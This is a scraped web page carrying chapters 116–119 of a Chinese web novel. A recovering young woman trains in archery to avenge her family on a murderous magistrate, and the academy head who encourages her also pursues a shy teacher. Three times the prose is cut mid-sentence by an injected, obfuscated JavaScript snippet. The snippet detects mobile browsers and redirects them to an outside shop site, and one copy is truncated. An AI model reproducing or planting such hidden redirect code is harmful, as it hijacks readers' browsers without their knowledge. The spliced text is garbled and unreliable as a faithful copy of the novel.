听到哭声,箫悦笙缓缓睁开了眼睛,转头看着众人,失去血色的嘴唇张了张,担心地问道:“怎么了?出什么事了?” 姜佑安走过去,坐在床边,微笑着轻轻握住了她的手,“没出事,你带来的这些人,都由我们袁家接收了,孩子们在学堂读书,大人跟我们一起做绢花挣钱,在这里穿得暖,吃得饱,没有人可以欺负她们,你再也不用为她们操心了,箫姑娘,你要是累了,就放心的睡吧。” 116. 学武 “你说的是真的?”箫悦笙虚弱地问道。 姜佑安本来还期盼着箫悦笙好起来,好好跟她聊聊,没想到才见面没多久,就要告别了,她满心不舍,却也没有办法,只能安慰她,让她安心地上路。 “是真的,我们这个女子书院里,收留很了很多人,比你带来的可多多了。”姜佑安笑着说道。 春花走了过来,脸上带着两条泪痕,“箫姐姐,姜院长说的是真的,我已经会写我的名字了。” “对啊,我们在这里,都能吃饱饭了。”陆欢忍着眼泪说道。 石倩擦了擦眼泪,“袁娘子给了我们棉衣穿,让我们做活,还给我们工钱,我们都能活下去了。” “太好了,太好了。”箫悦笙眼里含着泪,喃喃地说道。 “我是袁家的家主,我一定会好好照顾她们的,你放心吧。”袁竹说道。 “谢谢你们,我放心了。”箫悦笙闭上了眼睛,两滴眼泪从眼角滑落,“以后你们就在这里生活,不要记挂我,我要一个人回去了。” “箫姐姐。”孩子们的哭声此起彼伏,陆欢也捂着嘴痛哭起来。 “一路上辛苦你了。”姜佑安轻声说道。 箫悦笙疲惫的眼睛里,现出了一丝光彩,她微微用力握着姜佑安的手,“有东西吃吗?我饿了。” 看到她精神好了一些,孩子们高兴地笑了,“箫姐姐活过来了,活过来了!” 大人们却还是忍不住垂泪,孩子们太小,还不知道什么是回光返照,看到箫悦笙的生命将近,每个人都难过得说不出话来。 阮荷把做好的晚饭端过来,陆欢把箫悦笙扶了起来,石倩接过碗,想要给她喂进嘴里,她摆摆手拒绝了,“我自己来。” 箫悦笙强撑着,端起了碗,一手拿着勺子,大口大口地吞咽着粥,她吃不出什么滋味,只想尽量多吃一些,多撑一阵子。 郎中叹了口气,走出了房间。 那些女人们晚上都没睡,守在床边静静地看着箫悦笙,怕她夜里想要什么,没有人听见,更怕她突然离去,没有人知道。 一夜的时间,静悄悄地过去,出乎所有人的意料,箫悦笙没有死,一早她又说要吃饭,陆欢端来了粥,她强撑着起身,喝了整整一碗。 吃过饭,箫悦笙又睡着了,她的脸上渐渐恢复了血色。 姜佑安觉察到她强烈的求生意志,又把郎中请了来,郎中见她气色恢复了些,感觉十分惊异。 箫悦笙求郎中救她,郎中心生不忍,但也没有把握,在众人的恳求下,他决定赌一把。 郎中在开给箫悦笙的方子里加了一味猛药,喝了药后,箫悦笙高烧不退,再给她喂粥也全都吐了出来,女人们忧心忡忡,守在箫悦笙的身边不敢去睡,怕会发生什么意外。 又是一个不眠之夜,天亮后,见箫悦笙的高烧终于退了,众人都歪倒在床上,睡去了。 虽说烧退了,但箫悦笙还是吃不下东西,总是呕吐,郎中来了后,又开了别的方子止吐,她的情况才算是好了些。 看她能吃饭了,众人才终于安心了,孩子们开心地跑去学堂读书,大人们的脸上也有了笑容。 箫悦笙一直在坚持吃东西,现在能吃得下了,她更是逼迫自己要多吃,要赶快恢复,姜佑安制止了她,让她不要心急,慢慢养病。 姜佑安练箭之余,常到箫悦笙床前跟她说说话,她说起的,都是从家里离开,这一路上发生的事,对于她的身世,她不想说,姜佑安也不会问。 有时姜佑安也会扶着她下地走走,她总是很心急,想要能尽快恢复如初,累了也不肯休息,姜佑安只好强制把她带回床上,摁着她让她休息。 箫悦笙的身体慢慢好转,已经能出门走动了,她坐在院子里晒太阳,身旁是在缝制绢花的女人们,她们在小声地说着话,听着学堂传出的读书声,她笑得无比欣慰。 可能是身子恢复得不错,箫悦笙看起来没有那么心急,但在她偶然间看到姜白凤在跟着李长风练剑时,又按捺不住了,定要拜李长风为师,向他学剑术和拳脚功夫。 李长风不敢贸然答应,只好去问姜佑安,姜佑安一口否决了,说等她身体完全恢复之后再说。 奇怪的是,这次箫悦笙非常听话,没有硬撑着非要跟着一起练,而是耐下性子,慢慢等着身体恢复。 等到她能跑能跳了,姜佑安才放心让她跟着李长风练武,李长风觉得带着两个人在前院练拳,有点碍事,就把她们带去了园子里。 冬天园子里很萧条,孩子们也不大来了,正适合练拳耍剑,箫悦笙跟在姜白凤身后,学得很认真。 园子里弓箭社的场地还在,龙世蓉和许家莺很久没来了,天冷了,练箭的人也少了,只有姜佑安和周帛还在坚持。 箫悦笙看到她俩在射箭,也要跟着学,姜佑安感叹她的精力旺盛,每天打拳练剑都不嫌累,还要学射箭。 周帛在继续练箭,姜佑安把弓收了起来,向箫悦笙问道:“你现在这个样子,哪里还能看出来是生过重病的。” 箫悦笙笑了笑,“我也没想到自己还有这一天,以前我总想学这些,可惜我爹娘只许我读书,不让我练武。” “你以前没练过?那你脸上这疤是哪来的?”姜佑安问道。 “这个?”箫悦笙抬手摸了摸左脸,那条疤痕从额头中间斜着延伸到嘴角,看起来触目惊心,“这是个意外。” “石倩她们说从没听你提起过你家人的事,你父母呢?怎么没跟你在一起?”姜佑安问道。 箫悦笙抿了抿嘴唇,“他们都过世了。” 姜佑安没再说什么,不远处周帛一箭射中了靶心,箫悦笙为她叫了一声好。 “那时候我真以为你放弃了,还说了要一个人回去之类的话。”沉默良久,姜佑安缓缓说道。 箫悦笙弯了弯嘴角,“我一直放不下她们,她们都是被抛弃的人,我要是走了,她们就更艰难了,当时听说你们愿意收留她们,我真的很高兴,对她们放心了。” “我当时是想让你安心地走来着,没想到你又忽然有了生的意志。”姜佑安说道。 “那时候我突然想到,她们有了安身之处,我就可以毫无挂碍地去做自己想做的事了,我还有很多事想做,我不能就这么死了。”箫悦笙说道。 “挺好,人活着,就该去做自己想做的事。”姜佑安把手中的弓递给了箫悦笙,“来,你来试试。” 箫悦笙兴致满满地接过弓,用手指勾了勾弦,感觉弦绷得相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587689|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当紧。 “我忘了,这是给我特制的弓,你用不了,等我去给你拿一把新的来。”姜佑安说着转身就要走。 “不用,我个头比你高,你能拉开的弓,我肯定也能用。”箫悦笙拿起弓比划了一下,使尽了全身的力气也拉不开。 姜佑安劝道:“箫姑娘,你不要逞强,这弓比一般的弓紧,你虽然身材比我高大些,却也生了这么些日子的病,力气肯定弱一些,我给你拿别的弓,你先练着试试吧。” 箫悦笙试了几试,还是拉不开那弓,只好妥协,“那就有劳姜院长了。” 姜佑安教了箫悦笙几日的箭,又开始考虑搬家的事,叫来大家一起商量之后,决定把学堂搬到玫瑰花田旁边去,把厢房腾出来住,这样谁都不用搬出去住了。 在一个晴朗的冬日,袁家院门大开,大家忙忙碌碌地搬着桌子椅子,拿着笔墨纸砚,端着火盆,抱着柴火,把学堂换到了玫瑰田旁,最靠近大路的一所房子里。 孩子们高兴地搬着东西,一路上吵吵闹闹,欢声笑语不断。 搬完了学堂,大家又把厢房布置了一番,把床抬了进去,箫悦笙也要住到厢房里去,说是占用了姜佑安的房间这么久,已经很不好意思了,让她搬回去住。 姜佑安还在考虑怎么能跟戴庭芳住在一起,她拒绝搬回去,说在耳房里住习惯了,房间小,住着暖和。 箫悦笙不肯自己独占她的房间,定要姜佑安搬回去,姜佑安拗不过她,只好同意把小床搬进去,暂且和她共用一个房间。 到了晚上,箫悦笙又执意要睡小床,让姜佑安在架子床上睡。 姜佑安不想过多推让,既然她睡原先的床,会让箫悦笙心里舒服些,那她睡回去也没什么。 抱着热乎乎的汤婆子,姜佑安有些睡不着,她已经很久没有和别人共用一个房间了,等到明天,一定要跟箫悦笙说清楚,她还是要搬到耳房里去住。 不远处,传来箫悦笙均匀的呼吸声,看来她已经睡着了,姜佑安翻了个身,在黑暗中看向她的方向,这一年多在外奔波,肯定很辛苦,能这样安稳地睡着,也是一种奢侈吧。 姜佑安想起了自己刚逃出来的时候,也是风餐露宿,饿着肚子,睡个觉也会担惊受怕,好在她遇到袁竹,好在箫悦笙遇到了她。 出逃两年多了,不知道现在母亲过得好不好,父亲有没有冷落她,也不知道谭玉清现在怎么样了,她顶替了自己的身份,会不会有危险?还有王昭明,这个曾经无话不谈的挚友,不知道她现在成亲了没,嫁给了京城的那位公子。 想起京城,想起皇宫,想起曾经的那些人,感觉已经是很遥远的事了,以后还能有跟她们再见面的一天吗? “不要,不要带走他们。”箫悦笙的轻声呢喃打断了姜佑安的思绪。 黑暗的房间里,姜佑安抬头,往一旁的小床上看去,模糊地看到箫悦笙还在躺着,原来是在说梦话。 “不!让我死!该死的是我,放了他!”箫悦笙的声音急切而痛苦,姜佑安起身下了床,来到她的床边。 “箫姑娘,你做噩梦了吧。”姜佑安坐在床边,轻轻拍了拍箫悦笙的肩膀。 箫悦笙被惊醒,猛地睁开眼坐起身来,伸手掐住了姜佑安的脖子。 117. 仇恨 “你要来杀我?”箫悦笙的手上用力,想要掐断对面这人的脖子,“你还是不肯放过我!” 姜佑安抓住箫悦笙的手腕,把她的手摁了下去,冷静地问道:“箫姑娘,我是姜佑安,你还认识我吗?” 手腕上的疼痛,让箫悦笙清醒了过来,她大口大口喘着粗气,“姜院长,对不起,我不是故意的。” 姜佑安松开了箫悦笙,抚摸着自己的脖子,“你做噩梦了。” “是。”箫悦笙低着头应道。 “你常做这样的噩梦吗?要是睡不安稳,精神会越来越差的,要不明天我找郎中来,再给你把把脉吧。”姜佑安说道。 “不用,我很久没做这样的梦了,可能是最近总想起以前的事,连做梦都忘不了。”箫悦笙说道。 姜佑安心下生疑,“以前的什么事?有人要杀你?你跟什么人结了仇?” “我没事。”箫悦笙紧紧抓着被子,努力平复自己的心情,“你已经收了这么多人,我不能再给你添麻烦了,我明天就走。” “你要往哪走?你要是有地方可以去,哪至于在窝棚里等死?”姜佑安问道。 “我要回家去,她们留在这里,我一个人回家去,那里是我出生的地方,也是我的归处,我要回去。”箫悦笙说道。 “你回去干什么?你的家乡要是那么好,当初你为什么要逃出来?”姜佑安毫不留情地诘问道。 箫悦笙的情绪渐渐变得绝望,她喃喃地说道:“我该死,我早就该死了,我不该逃出来,我应该和他们一起死。” 姜佑安伸出手,摸索着握住了箫悦笙的手,“你不该死,你病得那么重,都没有死,地府都要收你了,我们都要放弃了,你都没有放弃自己,是你把你自己救活了,你就当是死过一次了,抛下以前的一切,重新来过吧。” “不,我做不到。”箫悦笙摇了摇头,挣开了姜佑安的手,“我得回去,我就是为了回去,才又活过来的,你们就当我已经死了,让我走吧。” 姜佑安俯身,把箫悦笙抱在了怀里,轻抚着她的后背,“我知道你肯定是遇到了不好的事,现在你身边的人都安顿好了,你了无牵挂,想要去独自去处理你的事,悦笙,你那么拼命地习武练箭,这件事,肯定不好解决吧。” 箫悦笙强忍着内心的触动,咬着牙说道:“没关系,哪怕拼出我这条命,我也要让他付出代价。” 姜佑安放开箫悦笙,劝慰道:“悦笙,一个人的力量是有限的,你自己去做,可能很难,要是大家一起想办法,可能就会容易许多。” “这是我的事,我不想麻烦别人。”箫悦笙低声说道。 姜佑安继续劝道:“你不是孤身一人,你病重的时候,多少人都担心地睡不着觉,要是知道你独自去赴死,你觉得她们会怎么想?艰难繁重的事,不要自己扛,我们可以一起商量,你有能力帮她们,她们也有能力帮你。” “可是……”箫悦笙有些犹豫,“她们都是好不容易才从那边逃出来的。” 姜佑安再度握住了她的手,“你可以先跟我说说,告诉我你要做什么,是为了什么,我射箭的功夫你见过的,说不定我也可以帮你。” 箫悦笙抬起头来,黑暗中,她看不见姜佑安的眼睛,“你要帮我?你想跟我一起到历国去?” “我可能过不去,但依据你要做的事,我可以给你提供其他的帮助。”姜佑安说道。 感觉到她语气的真挚,箫悦笙动摇了,“我,我要回去杀个人。” “杀什么人?”姜佑安平静地问道。 “一个心理扭曲的杀人狂,天福县的县令,赵阿进。”提起那个人的名字,箫悦笙就恐惧得浑身颤抖。 姜佑安牢牢地握着她的手,安抚道:“既然是杀人狂,那他就该死,我支持你杀掉他。” “真的?你真的这么想?”箫悦笙有些不敢置信。 “法律不能惩治的恶人,有能力惩治的人,就该为民除害,我们不是在杀人,是在救人。”姜佑安语气坚定地说道。 听了姜佑安的话,箫悦笙心里踏实了不少,以前她从没意识到自己可以去复仇,重新活过来之后,她有了回去杀掉赵阿进的想法,但每每想起来,她自己都觉得心惊,可姜佑安竟然能直接了当地认同她。 “不是杀人,是在救人。”箫悦笙喃喃地重复道。 姜佑安松开了她的手,无声地笑了笑,“从明天起,我会好好教你,学好了射箭,杀人,是件很容易的事。” “真的?”箫悦笙有些不敢置信,姜佑安看起来明明就是个很有善心的好人,怎么会说出杀人很容易的话来。 姜佑安伸手探向箫悦笙的胸口,“只要你能射中这个位置,或者是脑袋,可以说是必死无疑。” “你试过?”箫悦笙问道。 “试过。”姜佑安给了她肯定的答案。 箫悦笙更惊讶了,“你杀过人?” 姜佑安点了点头,“杀过一个恶人,他欺男霸女,为祸乡里,我告到县衙都没人肯管,只好自己动手了。” “你不害怕吗?”箫悦笙问道。 “我只怕我杀不死他,会让更多的人遭殃,他做下恶事,都不觉得亏心,我是为民除害,有什么可怕的。”姜佑安坦然答道。 “你说得对。”箫悦笙低下头来,轻声告诫自己,“他滥杀无辜,恶贯满盈,他该死,我是要为民除害。” “他作为一县长官,滥杀无辜确实该死,不过,他怎么说也是历国的官员,你贸然去刺杀他,还是太危险了些,不能通过鸣冤,让他的上级官员来处理吗?”姜佑安问道。 “没有人肯管的,我们这些归顺的盛国百姓,对于历国的官员来说,就跟一群蝼蚁一样,是死是活,是伤是残,都没有人在意。”箫悦笙说道。 姜佑安皱起了眉头,“怎么会没有人管?历国强占了五个县,到手后就扔在一边不管了?” 夜越来越深了,在一片漆黑中,箫悦笙的眸子里燃起了仇恨,“没有不管,只是,是像被圈养的牲畜一样,想抓就抓,想打就打,想杀就杀。” 边境五县被占已经十八年了,大家都以为五县的百姓都已经成为了历国的子民,能够好好生存在下去,没想到他们过的却是这样的日子,姜佑安感到震惊,“怎么会这样?百姓是国家的根本,他们怎么能这么对待你们?” “他们根本不把我们当人,我们的县官也把我们当做孝敬上级官员的贡品,缺仆人了,就过来掳掠,缺钱财了,就过来抢夺,我家本来还有些家资,后来连家具都被搬空了。”箫悦笙说道。 “怪不得你们都要逃出来。”姜佑安感叹道。 “赵阿进和我爹原本是朋友,他成为县令后,不断地对我家勒索盘剥,把我家都搬空后,非说我家还有钱财没有拿出来,逼死了我爹娘,害死了我哥哥和姐姐。”箫悦笙抚摸着脸上的伤疤,“还砍伤了我的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是啊,太不容易了。”箫悦笙附和道,“所以我不想让她们跟我一起回去,让她们留在这里,开始新的生活,我自己回去,和我的家人团聚。” 姜佑安心中感慨万千,“原来你强撑着,逼着自己尽快恢复,为的竟是这个。” “是,濒临死亡,让我又想起了脸被划伤的那天,想起了家人被杀时的痛苦,我不能就这么死了,我得回去,我就要为他们报仇。”箫悦笙说道。 “我尊重你的选择。”姜佑安说道。 箫悦笙抬头,看向姜佑安脸的方向,“这件事,希望你不要告诉别人。” “我可以帮你保守秘密,不过,你也要答应我,你走的时候你必须跟我说一声,不能不声不响就一个人离开。”姜佑安说道。 “好,我答应你。”箫悦笙说道。 “明天我会给你换一把新的弓,睡吧。”姜佑安帮她扯了扯被子,回到了自己床上躺着。 “谢谢你,姜院长。”箫悦笙躺在床上,轻声道谢。 “谢谢你,没有放弃自己,你要报仇,不是一时半会儿能做到的,不过,车到山前必有路,别想太多,早点儿睡吧。”姜佑安说道。 第二天一早,箫悦笙跟姜佑安说自己先不走了,等练好射箭再做决定,姜佑安说一定好好教她,让她能够百发百中。 箫悦笙笑着跟姜佑安道了谢,就去和姜白凤一起,跟着李长风打拳去了。 姜佑安收拾好后,去叫了戴庭芳来,她要把小床抬回到耳房里去。 戴庭芳走过来,看见姜佑安脖子上的红痕,吃惊地问道:“姜院长,你的脖子怎么了?” 118. 亲吻 “我的脖子?”姜佑安摸了摸自己的脖子,捏下去的时候有明显的痛感,才想起来是昨天晚上箫悦笙掐的,“哦,这个啊,没什么事。” “怎么没事?”戴庭芳关心地凑过去,看那红痕像是手印,“这是谁掐的吗?” “还能是谁,我自己掐的呗。”姜佑安转身进了屋里。 戴庭芳跟着走了进去,“自己怎么能掐成这样?你为什么要掐自己?” “戴老师。”姜佑安转过身来,微笑着看着他,“你好像很关心我。” 戴庭芳觉得自己是跟得有些近了,忙向后退了一步,“你是书院的院长,我是你聘用的老师,这点关心,是应该的。” 姜佑安向前逼近一步,眼底的笑意加深了,“那,依戴老师看,什么样的关心,是不应该的?” 戴庭芳撇过头,“过近的接触是不应该的。” 姜佑安歪着脑袋,看向他的眼睛,一派天真地问道:“为什么?” “因,因为,男女授受不亲。”戴庭芳感觉口干舌燥,心跳得厉害,又往后撤了一步,“你不是说有事找我吗?什么事?” “有事,有正事,但是,在这之前。”姜佑安伸手抓住了戴庭芳的胳膊,进而把他抱在了怀里,“别动,让我抱一会儿。” 戴庭芳本想挣脱她的手,听到她语气里的疲惫,便站在那里不动了,任由她抱上来。 “你,怎么了?”戴庭芳轻声问道。 感受到他的关心,姜佑安轻轻笑了,箫悦笙的事,总能够解决的。 “谢谢你,戴老师。”姜佑安说道。 “谢我什么?”戴庭芳问道。 姜佑安紧紧搂着他的腰,把脸埋在他的胸口,笑着说道:“谢谢你肯让我抱你。” 戴庭芳的脸红了,他轻轻推着她的肩膀,“你又在拿我取笑。” “不是取笑,是真的感谢你。”姜佑安放开了手,声音轻快了不少。 “你要是没什么事,我就走了。”见她恢复了往日的神色,戴庭芳退到了门边,很想赶快从房间里出去。 “别走,我有正事,戴老师,过来帮我抬一下床。”姜佑安走到床边说道。 戴庭芳红着脸走了过来,“要抬到哪里去?” “抬到耳房去。”姜佑安说道。 “不是昨天刚搬过来的吗?怎么又要搬回去?”戴庭芳问道。 “我不习惯跟别人一起住,还是自己住耳房里自在。”姜佑安说道。 两人把小床抬出了房间,出了堂屋,放进了耳房里。 姜佑安脖子上的红痕始终让他放心不下,戴庭芳小声说道:“这里没有别人,你跟我说实话,你脖子上的痕迹是怎么回事?谁弄的?” “是箫悦笙,不过,她也不是故意的。”姜佑安又摸了摸脖子,“也不是什么重伤,你就当没看见好了。” “是她?怪不得你要从那房间里搬出来,她为什么要掐你?”戴庭芳担心地问道。 “没事,只是睡糊涂了而已。”姜佑安走过去,关上了房门,转身看向戴庭芳,“我搬出来也不为别的,只是想能有个房间,和戴老师独处。” 见姜佑安挡在了房门口,戴庭芳紧张起来,“你这是什么意思?” “戴老师说的,男女授受不亲,我不认同,我喜欢戴老师,想跟戴老师多亲近,我觉得这是很正常的事,戴老师觉得呢?”姜佑安问道。 戴庭芳低着头,不知道往哪看好。“我?我不知道。” “戴老师要是想不明白,可以慢慢想。”姜佑安向戴庭芳走过去,抓着他的胳膊,把他拉到床边坐下,自己站在他的身前,“戴老师不是很关心我的脖子上的伤吗?我觉得有些疼,戴老师能帮我揉一揉吗?” 见姜佑安探身过来,戴庭芳紧张地咽了一下口水,还没说出话来,姜佑安就抓着他的手,搭在了自己的脖子上。 戴庭芳抬头,看着她脖子上的红痕,轻轻揉着,手指接触着她的皮肤,感受着她目光的注视,他的脸在发烫,手指微微发抖。 “戴老师,你的脸好红啊。”姜佑安轻声说道。 嗓子里发出咕嘟的声响,戴庭芳感觉自己吞咽口水的声音格外大,让他愈加不好意思,他略低着头,手指轻轻揉捏着姜佑安的脖子,“是姜院长靠得太近了。” 看着他泛红的皮肤,姜佑安笑着问道:“戴老师是犯病了吗?别人要是靠你这么近,你也会脸红吗?” “我不知道。”戴庭芳的头压得更低了。 姜佑安伸出手,抬起了他的下巴,“戴老师,你为什么不敢看我?” 戴庭芳看着姜佑安的眼睛,有些晃神,这究竟是现实,还是梦境?要是梦,下一步,她就会吻过来吧。 戴庭芳没有回答,手上的动作停住了,神情也变得呆呆的,姜佑安低头吻在了他的唇上。 果然是梦!戴庭芳仰着头,承受着姜佑安的亲吻,他内心有种冲动,却不知如何释放出来,只能僵着身子,感受两个人的嘴唇相贴的感觉。 姜佑安轻轻啃咬着戴庭芳的嘴唇,见他没有拒绝,也没有推开自己,心中十分欣喜,她双手捧着他的脸,一路吻到他的脸颊上。 “戴老师。”姜佑安轻轻唤道。 “嗯?”戴庭芳觉得脑子晕乎乎的,这样的梦,他好像做了很多次,但这次的触感是最真实的,希望醒来之后,自己还能记得这种甜蜜的感觉。 “张开嘴。”姜佑安说道。 戴庭芳不明白她是什么意思,却还是顺从地张开嘴,姜佑安马上又吻上去,肆意蹂躏着他的唇舌。 姜佑安的举动,让戴庭芳感到心惊,他不知道她在做什么,只觉得心跳加速,呼吸困难,嘴里痒痒的,麻麻的,很舒服。 戴庭芳的鼻息变得越来越急促,在唇舌交缠的间隙,嘴里发出微弱的喘息声,姜佑安放开他,看着他绯红脸,有些担心地问道:“戴老师,你没事吧。” 戴庭芳有些迷乱,又有些害羞,他笑了笑,“没事。” 他弯弯的眼睛和红红的脸,让姜佑安心中一动,俯身又吻了过去,戴庭芳感受着她缠绵的吻,沉醉地闭上了眼睛。 姜佑安捧着他的脸,吻了又吻,直到院子里响起阮荷的声音。 “佑安姐姐,表哥,吃饭了!” 姜佑安恋恋不舍地放开了戴庭芳的嘴唇,又忍不住把他搂进了怀里,“戴老师,你搬过来和我一起住吧。” 戴庭芳红着脸,像是还不太清楚现在的状况,“搬过来,一起住?” “对啊。”姜佑安亲吻着戴庭芳的脖子,“晚上,我们两人,就在这张床上睡。” 戴庭芳觉得脖子痒痒的,他轻轻笑了,“为什么要一起睡?” 姜佑安张嘴,咬住了戴庭芳的耳垂,用牙齿轻轻研磨,口齿不清地说道:“我想和你一起睡,不行吗?” 耳朵上传来的痛感,让戴庭芳瞬间清醒了过来,他会觉得痛,这不是梦! 戴婷芳赶忙推开了姜佑安,“不行,不能一起睡。” 姜佑安对他突然的转变感到奇怪,“怎么不行?” 戴庭芳低着头,耳朵通红,“反正就是不行。” “好,你说不行就不行,我可以等到你说行的那天。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600840|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜佑安没有继续跟他纠缠,走过去打开了房门,笑着说道:“我先去端饭了,你就等脸不红了,再出来吧。” 见姜佑安走了,戴庭芳整个身子都松懈下来,他抬手捂着胸口,大口地喘着气。 那样亲密无间的亲吻,竟然不是梦,这,这怎么能行? 那种梦做多了,他竟然连梦境和现实都分不清了,这怎么能行!以后可要小心了。 姜佑安还要他搬过来和她一起住,一起睡在这张床上,想到这,戴庭芳掩饰不住脸上的笑意,抿着嘴笑起来。 姜佑安是喜欢他的,这是真的,她喜欢他,所以想和他亲近。 可是,他不能放任姜佑安这样做,就算她从来不在意什么名节,戴庭芳却要为她考虑。 有过亲密接触,戴庭芳更加肯定了自己的心意,他是喜欢姜佑安的,他想和她名正言顺地在一起,决不能这样无媒苟合,婚礼都没办,就住在一起,他必须要给姜佑安一个名分,一个交待。 戴庭芳走出门去,餐桌上人太多,他不能开口,其他人看到姜佑安脖子上的红痕,都关心地问她是怎么回事,箫悦笙主动承认,是自己睡迷糊了,仿佛跟她道歉,大家见没什么事,也就没再追问下去。 等吃完了早饭,箫悦笙叫姜佑安去房间里商量事,他还要去教书,就先去学堂了 中午吃过饭后,箫悦笙又找姜佑安去园子里练箭,戴庭芳在一旁观看,只等箫悦笙和周帛走了,他就要向姜佑安表明心意。 在弓箭社的场地上,姜佑安给箫悦笙换了新弓,认真指导了她射箭的姿势,教了她射箭的要领,又给她示范了几次,就让她和周帛各自练习了。 看到戴庭芳在一旁站着,姜佑安抬手向他招呼道。“戴老师,你之前不是说想学射箭吗?正好今天有空,你也过来试试。” 戴庭芳怀着雀跃的心情,走到了姜佑安身边去,姜佑安手上只有一把自己用的弓,他肯定拉不开,为了跟他讲清楚拉弓的姿势,姜佑安让他握着弓,自己把着他的手,帮他把弓拉开。 没想到姜佑安是这么个教法,旁边有两个人看着,戴庭芳感觉佷不自在,想要躲开,姜佑安的手牢牢地抓着他,他挣脱不开。 “姜院长,你放开我。”戴庭芳小声说道。 “这把弓只有我能拉得开,你要是不想这么练,我就再给你拿一张新的来。”姜佑安松开了戴庭芳的手,挡在了他的身前,“戴老师,你的脸怎么红了?” 戴庭芳垂下眼帘,看着地上的地砖,“我,我不习惯这样。” 姜佑安笑了笑,“没关系,以后会慢慢习惯的。” 戴庭芳往旁边看了一眼,周帛和箫悦笙都在专心练箭,“姜院长,我有话想跟你说,咱们能往旁边走走吗?” “好啊。”姜佑安把弓放在一旁的石凳上,“戴老师想去哪走走?” 戴庭芳北边示意,“往那边去。” 姜佑安跟着戴庭芳往前走,笑着说道,“戴老师是有什么私密的话要对我讲吗?还不想让人听见。” 戴庭芳紧张地握着自己的手,“是有些私密的话。” “要不就去我的房间吧。”姜佑安提议道。 “不了,就在这里讲。”两个人在封闭的房间里共处,还不知道姜佑安又想做些什么,戴庭芳只想赶紧跟她说清楚,不能再在她的裹挟下失去方向。 两人离弓箭社的场地越来越远,看不到周帛和箫悦笙的身影,箭支划破空气的声音都听不真切了。 戴庭芳停下脚步,四下看了看,然后鼓起勇气看向姜佑安,认真地说道:“姜院长,我们成亲吧。” 119. 求亲(一) “成亲?”姜佑安心里一惊,果然如她所料,戴庭芳还是产生了这样的想法,早上才刚吻了他,下午他想要对自己负起责任来了,这样可就麻烦了。 “你为什么要跟我成亲。”姜佑安问道。 没想到姜佑安会反问他,戴庭芳有些慌了,解释道:“早上,我们,做了那样的事,就应该成亲的。” 姜佑安笑了笑,“我亲过的男人多了去了,难道我都要嫁?” 戴庭芳感到有些受挫,但他不想就这样退缩,今天要是不说清楚,以后他可能就再也没这个勇气了,“你说过,你喜欢我。” “是,我喜欢你,我承认。”姜佑安坦然说道。 听到她说喜欢自己,戴庭芳的脸更红了,看着她的眼睛,他觉得自己的心快要从嗓子眼里跳出来了,“所以我们应该成亲。” 姜佑安站在他面前,伸手抚摸着他的脸,他的肌肤滑腻,肤色白里透红,让她很想要吻上去,“戴老师,我是喜欢你,可是,我并不想嫁给你。” “为什么?”戴庭芳红着脸问道。 “我还没有准备好成为一个妻子,一个母亲,一个儿媳。”姜佑安说道。 戴庭芳抬手握住了她的手,“我可以等,等到你准备好为止。” 姜佑安弯了弯嘴角,“我要是一辈子都准备不好呢?你打算怎么办?” “我会等下去的。”戴庭芳坚持道。 姜佑安的眼里有了笑意,“你光说会等,我还不知道你的想法。” “什么想法?”戴庭芳问道。 “戴老师,你喜欢我吗?”姜佑安看着戴庭芳的眼睛问道。 把喜欢说出口,对戴庭芳来说,还太难了些,他换了一种说辞,“我,我是想要娶你为妻的。” “在你心里,娶妻等同于喜欢吗?”姜佑安问道。 戴庭芳点了点头,姜佑安抽回他握着的那只手,“我要是不嫁给你,不给你生孩子,你还会喜欢吗?” “你为什么不想嫁给我?是因为我父亲吗?”戴庭芳问道。 “也有这个原因,你的婚事,恐怕不是你自己能决定的,你说要跟我成亲,你跟你父母商量过了吗?”姜佑安问道。 “还没有,不过,我会好好跟他们说的,他们都知道你是这么优秀的一个人,他们肯定会同意的。”戴庭芳向她保证道。 “我看没那么容易。”姜佑安伸手,拉着戴庭芳的手,“我们就这样相处,不也挺好的吗?” 戴庭芳收回手,摇了摇头,“不好,我身为男人,要对你负责,如果没有成亲,我们不该做出那些亲密的举动。” “你果然是为了负责。”姜佑安垂下手,感觉有些失望,“要是别的女人亲了你,你也会想要娶她吗?” “没有那样的事,亲过的我女人,只有你。”戴庭芳说道。 “以后说不定还会有别的女人,你别急着做决定,我们可以先相处试试,万一彼此觉得不合适,还可以分开。”姜佑安说道。 戴庭芳皱起了眉头,“你已经在考虑分开的事了?你这么对我,难道是对我的考察?” “哪里有什么考察,我是觉得,万一成亲之后才发现两人相处不来,不合适,到时候还要和离,多麻烦啊,咱们先相处试试,处得来,就继续相处,处不来就分开,这样对彼此都好。”姜佑安解释道。 “我会好好待你的,你是对我没信心吗?”戴庭芳问道。 见他固执己见,姜佑安也不想再继续聊了,她笑了笑,“我是对自己没信心,万一以后又遇到别的美貌男人,我就变心了怎么办?” 戴庭芳很生气,“你,你怎么还有这样的想法!” 姜佑安依旧轻轻笑着,“世上美男那么多,只能拥有一个,也太可惜了,要不我让你做正房,纳他做侧室怎么样?” 想到自己要和别的男人共侍一妻,戴庭芳更生气了,“世上哪有这样的事?你真是太荒唐了!” 